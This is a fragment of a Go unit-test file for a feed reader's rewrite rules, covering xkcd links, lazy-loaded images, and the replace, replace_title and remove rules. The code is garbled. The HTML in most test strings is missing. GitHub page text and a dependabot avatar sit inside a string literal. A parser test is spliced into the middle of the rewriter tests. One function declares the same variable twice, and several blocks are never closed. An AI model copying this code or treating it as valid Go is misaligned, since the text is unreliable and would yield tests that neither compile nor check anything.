if !reflect.DeepEqual(testEntry, controlEntry) {
t.Errorf(`Not expected output: got "%+v" instead of "%+v"`, testEntry, controlEntry)
}
}
func TestRewriteWithInexistingCustomRule(t *testing.T) {
controlEntry := &model.Entry{
Title: `A title`,
Content: `Video Description`,
}
testEntry := &model.Entry{
Title: `A title`,
Content: `Video Description`,
}
Rewriter("https://www.youtube.com/watch?v=1234", testEntry, `some rule`)
if !reflect.DeepEqual(testEntry, controlEntry) {
t.Errorf(`Not expected output: got "%+v" instead of "%+v"`, testEntry, controlEntry)
}
}
func TestRewriteWithXkcdLink(t *testing.T) {
controlEntry := &model.Entry{
Title: `A title`,
Content: `
Your problem is so terrible, I worry that, if I help you, I risk drawing the attention of whatever god of technology inflicted it on you.
You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
`
expected := `
`
result := feed.Entries[0].Content
if result != expected {
t.Errorf(`Unexpected entry content, got %v instead of %v`, result, expected)
}
}
func TestParseItemWithoutDate(t *testing.T) {
data := `
`,
}
testEntry := &model.Entry{
Title: `A title`,
Content: `
`,
}
Rewriter("https://example.org/article", testEntry, "add_dynamic_image")
if !reflect.DeepEqual(testEntry, controlEntry) {
t.Errorf(`Not expected output: got "%+v" instead of "%+v"`, testEntry, controlEntry)
}
}
func TestRewriteWithLazyDivImage(t *testing.T) {
controlEntry := &model.Entry{
Title: `A title`,
Content: `
`,
}
testEntry := &model.Entry{
Title: `A title`,
Content: `
`,
}
testEntry := &model.Entry{
Title: `A title`,
Content: `
`,
}
Rewriter("https://example.org/article", testEntry, `replace("article/(.*).svg"|"article/$1.png")`)
if !reflect.DeepEqual(testEntry, controlEntry) {
t.Errorf(`Not expected output: got "%+v" instead of "%+v"`, testEntry, controlEntry)
}
}
func TestRewriteReplaceTitleCustom(t *testing.T) {
controlEntry := &model.Entry{
Title: `Ouch, a thistle`,
Content: `The replace_title rewrite rule should not modify the content.`,
}
testEntry := &model.Entry{
Title: `A title`,
Content: `The replace_title rewrite rule should not modify the content.`,
}
Rewriter("https://example.org/article", testEntry, `replace_title("(?i)^a\\s*ti"|"Ouch, a this")`)
if !reflect.DeepEqual(testEntry, controlEntry) {
t.Errorf(`Not expected output: got "%+v" instead of "%+v"`, testEntry, controlEntry)
}
}
func TestRewriteRemoveCustom(t *testing.T) {
controlEntry := &model.Entry{
Title: `A title`,
Content: `
![@dependabot[bot]](https://avatars.githubusercontent.com/in/29110?s=64&v=4){kind=small}
